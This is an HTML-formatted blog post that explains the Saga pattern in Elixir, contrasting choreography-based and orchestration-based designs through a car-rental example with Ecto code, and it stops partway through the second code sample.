&lt;p&gt;If you build software long enough, you will eventually encounter use cases that require multiple steps to succeed before the overall process can be considered &quot;complete&quot;. If any of the steps fail, you&apos;ll want to abort any further steps, roll back the state, and inform someone about the failure. So, either all steps succeed or none do. This is called an &lt;strong&gt;atomic&lt;/strong&gt; transaction, and guaranteeing this &lt;strong&gt;Atomicity&lt;/strong&gt; is harder than you&apos;d expect.&lt;/p&gt;
&lt;p&gt;For most use cases, wrapping the steps in a single &lt;code&gt;Ecto.Multi&lt;/code&gt; transaction is enough to guarantee Atomicity. If a step fails, Ecto rolls back all database transactions and returns an error. Usually, you&apos;ll pass back the error message and let the caller handle it. However, sometimes you might encounter use cases in which you can&apos;t wrap all steps in a single transaction. Usually, they include steps that are separated either by &lt;strong&gt;time&lt;/strong&gt; or &lt;strong&gt;space&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For example, if a customer rents a car through your software, you might want to mark the order as &quot;pending&quot; until you get the confirmation from your garage that the requested car is indeed available. If the car isn&apos;t available, you shouldn&apos;t charge the customer&apos;s credit card and inform them that they have to pick another car or cancel the order. You couldn&apos;t keep the database transaction open until you hear back from the garage, possibly hours or days later. This is an example of a use case separated by &quot;time&quot;.&lt;/p&gt;
&lt;p&gt;For another example, imagine that if a customer rents a luxury car, you reserve the car with another car rental provider through an API call because you don&apos;t own such cars yourself. You decide to reserve the car even before you charge the customer&apos;s credit card because you want to avoid the embarrassment that your high-profile customer doesn&apos;t get the car although they&apos;ve just paid for it. But this means that you&apos;ll need to cancel the car reservation if the payment fails. Since the reservation record lives in the other car rental&apos;s database, you can&apos;t wrap it in your transaction and have to call their API again to cancel the reservation. This is an example of a use-case separated by &quot;space&quot;.&lt;/p&gt;
&lt;p&gt;In both situations, you could resolve the error cases manually. Just expose a &quot;cancel order&quot; button in the UI which refunds all payments and cancels the reservation and let the support employee click it whenever necessary. However, we are software engineers and automating this stuff is our job. So, let&apos;s see how we could do that using the &lt;strong&gt;Saga&lt;/strong&gt; pattern.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://microservices.io/patterns/data/saga.html&quot;&gt;Saga&lt;/a&gt; pattern targets exactly this issue. It is sometimes referred to as Long-lived transaction (LLT) and was proposed in &lt;a href=&quot;https://www.cs.cornell.edu/andru/cs711/2002fa/reading/sagas.pdf&quot;&gt;1987&lt;/a&gt; (that&apos;s even before the World Wide Web was invented by Tim Berners-Leein 1989!). As with all software patterns, it only offers a blueprint and not a ready-made solution you can simply copy and paste. The blueprint is basically this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Each &lt;code&gt;Saga&lt;/code&gt; is a sequence of transactions.&lt;/li&gt;
&lt;li&gt;Each &lt;code&gt;transaction&lt;/code&gt; executes a state change and triggers the next transaction.&lt;/li&gt;
&lt;li&gt;Every transaction has a &lt;code&gt;compensation&lt;/code&gt; which rolls back the state change of the transaction.&lt;/li&gt;
&lt;li&gt;If a transaction fails, the Saga executes the compensations of all previous transactions to roll back the state.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The Saga pattern usually comes in one of two flavours: Choreography-based and Orchestration-based. Let&apos;s look at each.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#choreography-based&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;choreography-based&quot;&gt;&lt;/a&gt;Choreography-based&lt;/h2&gt;
&lt;p&gt;The Choreography-based Saga pattern is common if your transaction spans multiple microservices and no single microservice controls all steps of the Saga. In this approach, every transaction notifies the other microservices that it has completed, usually through events. Other microservices listen to these &quot;completed&quot; events and trigger their own transactions. If a transaction fails, it emits a &quot;compensation&quot; event, which notifies the other microservices that they need to roll back their own transactions.&lt;/p&gt;
&lt;p&gt;For example, you might have an &lt;code&gt;OrderService&lt;/code&gt; that handles the initial customer order, a &lt;code&gt;ReservationService&lt;/code&gt; that reserves the luxury car with an external vendor, and a &lt;code&gt;PaymentService&lt;/code&gt; that charges the customer&apos;s credit card after the reservation succeeds.&lt;/p&gt;
&lt;p&gt;Below is an example of a choreography-based Saga pattern that uses events to execute a long-lived transaction between microservices. If you don&apos;t work with microservices, this choreography-based approach might still be interesting to you. It could also occur as function calls between different modules in your application. The essence here is that no single module owns all transactions of the Saga; instead, they are distributed across many places.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/saga-pattern/sequence.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The arrows are events that are published by one service and handled by the other.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In this use-case, the &lt;code&gt;OrderService&lt;/code&gt; publishes an &lt;code&gt;OrderCreated&lt;/code&gt; event to which the &lt;code&gt;ReservationService&lt;/code&gt; reacts by trying to reserve the car. If the reservation fails, the &lt;code&gt;ReservationService&lt;/code&gt; publishes a &lt;code&gt;ReservationFailed&lt;/code&gt; event, which triggers the &lt;code&gt;OrderService&lt;/code&gt; to cancel the order. If the reservation succeeds, the &lt;code&gt;PaymentService&lt;/code&gt; is notified and attempts to charge the customer. If the charge fails, both the &lt;code&gt;ReservationService&lt;/code&gt; and the &lt;code&gt;OrderService&lt;/code&gt; react to the &lt;code&gt;PaymentFailed&lt;/code&gt; event and cancel the reservation and order. If the payment succeeds, the &lt;code&gt;OrderService&lt;/code&gt; confirms the order, which completes the Saga.&lt;/p&gt;
&lt;p&gt;Now, how would we implement this in Elixir?&lt;/p&gt;
&lt;p&gt;In my recent blog post &lt;a href=&quot;resurrect-your-phoenix-context&quot;&gt;Resurrect your Phoenix Context&lt;/a&gt;, I argue against a &quot;One module per use-case&quot; approach and suggest that you consolidate all use-cases that &quot;belong together&quot; into one module instead. I think that event handlers should be treated the same unless you have hundreds of them, in which case you could group them by their &quot;entity&quot; (e.g. Order, Reservation, Payment).&lt;/p&gt;
&lt;p&gt;Below is roughly how I&apos;d implement the choreography-based Saga pattern above in Elixir. I&apos;ll focus on the &lt;code&gt;OrderService&lt;/code&gt;, the other services would have a similar setup.&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderService.EventHandler&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;ReservationFailed&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderService.Orders&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_reservation_failed&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;PaymentFailed&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderService.Orders&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_payment_failed&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;PaymentSucceeded&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;data: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderService.Orders&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_payment_succeeded&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderService.Orders&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# You&amp;#39;ll want to make inserting the record and&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# omitting the event atomic too.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Multi&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Multi&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Order&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Multi&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;order: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderService.Events&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;publish&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:order_created&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;transaction&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;order: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_operation&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_changes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_reservation_failed&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;order_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;reason: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;reason&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;         &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;delete_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;send_order_cancelled_email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;reason&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# I omitted the other handlers because they look quite similar.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a very rough implementation. The main point here is that you won&apos;t have one function or module that handles the entire Saga, but rather multiple independent functions that each handle only a small part of the Saga. They all need to work together in a distributed manner to complete the use case.&lt;/p&gt;
&lt;p&gt;You also won&apos;t have dedicated &quot;transaction&quot; and &quot;compensation&quot; actions, but rather generic functions that look alike. The Saga remains rather abstract in the choreography-based Saga pattern, and it&apos;s up to you to document it well enough so that it becomes visible to other developers too. This is what the orchestration-based approach does better.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#orchestration-based&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;orchestration-based&quot;&gt;&lt;/a&gt;Orchestration-based&lt;/h2&gt;
&lt;p&gt;The orchestration-based Saga pattern consolidates all transactions and compensations into a central &lt;em&gt;orchestrator&lt;/em&gt; instead of distributing them over multiple services or functions like the choreography-based does. This approach makes it easy to understand all facets of the Saga and allows for exhaustive testing. However, it is also a single point of failure. Your Saga won&apos;t complete if the handling server crashes or becomes unavailable.&lt;/p&gt;
&lt;p&gt;This is a simplified sequence diagram for executing the &quot;Renting a luxury Car&quot; Saga using an Orchestrator:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/saga-pattern/sequence2.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is how you could implement the Orchestrator using Elixir:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Orders&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# This repository keeps all CRUD functions&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# for the Order schema.&lt;/span&gt;
